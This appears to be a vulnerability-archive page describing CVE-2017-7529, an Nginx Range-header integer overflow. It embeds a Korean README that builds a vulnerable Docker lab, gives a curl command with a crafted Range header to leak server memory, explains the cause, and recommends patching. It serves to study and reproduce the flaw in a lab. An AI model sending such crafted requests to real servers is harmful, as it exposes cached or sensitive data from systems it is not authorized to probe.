关联漏洞
标题:
F5 Nginx 输入验证错误漏洞
(CVE-2017-7529)
描述:F5 Nginx是美国F5公司的一款轻量级Web服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,在BSD-like协议下发行。 F5 Nginx 0.5.6版本至1.13.2版本存在输入验证错误漏洞。攻击者利用该漏洞导致敏感信息泄漏。
介绍
# CVE-2017-7529-Nginx Range Header Integer Overflow
- Nginx는 고성능 웹 서버이자 리버스 프록시, 캐시 서버 등으로 널리 사용되는 오픈소스 웹 서버입니다.
- Nginx 1.13.2 이하 버전에서, 정수 오버플로우로 인해 공격자가 Range 헤더를 조작하여 원래 응답 범위를 벗어난 메모리 조각이나 민감한 정보를 유출할 수 있는 취약점이 존재합니다.
---
## Reference
- https://www.freebuf.com/articles/web/140178.html
---
## 취약 환경 구성
- 다음 명령어를 입력하여 취약한 Nginx 환경을 시작합니다.
```sh
bash
docker compose up -d
```
- 서버가 시작되면, 브라우저에서 다음 주소로 접속할 수 있습니다:
```
arduino
http://your-ip:8080
```
- Nginx 기본 페이지 또는 커스텀 index.html 페이지가 표시됩니다.
---
## 취약점 재현
- curl 명령어를 이용하여 악의적인 Range 헤더 요청을 보냅니다:
```
bash
curl -v -H "Range: bytes=-9223372036854,5" http://your-ip:8080/
```
### -> 응답 본문에 페이지 일부 외에도 이상한 바이너리 데이터 또는 메모리 쓰레기가 포함될 수 있습니다.
---
## 작동 원리 요약
- 이 취약점은 Range 요청을 처리할 때 음수와 양수의 정수 계산 과정에서 오버플로우가 발생하여, 원래 의도하지 않은 메모리 영역까지 응답에 포함시키게 됩니다.
- 이를 통해 공격자는 캐시된 데이터 또는 민감 정보 일부를 추출할 수 있습니다.
---
## 결론
- 이 취약점은 단순한 HTTP 요청만으로 정보 노출(Information Disclosure) 을 유발할 수 있습니다.
- 민감한 설정 정보나 기타 유출 가능한 데이터가 포함될 경우, 심각한 보안 사고로 이어질 수 있습니다.
- 패치: Nginx 1.13.3 이상으로 업데이트 권장
---
## 참고 파일 구성 예시
```
bash
CVE-2017-7529/
├── Dockerfile
├── docker-compose.yml
├── nginx.conf
├── index.html
└── README.md <-- 본 문서
```
文件快照
[4.0K] /data/pocs/c310f1d2bb1b8a622370f40011d9cef4adbe04aa
├── [ 56K] 1. png1.png
├── [ 24K] 2. png2.png
├── [ 136] docker-compose.yml
├── [1.8K] poc.py
└── [2.0K] README.md
0 directories, 5 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。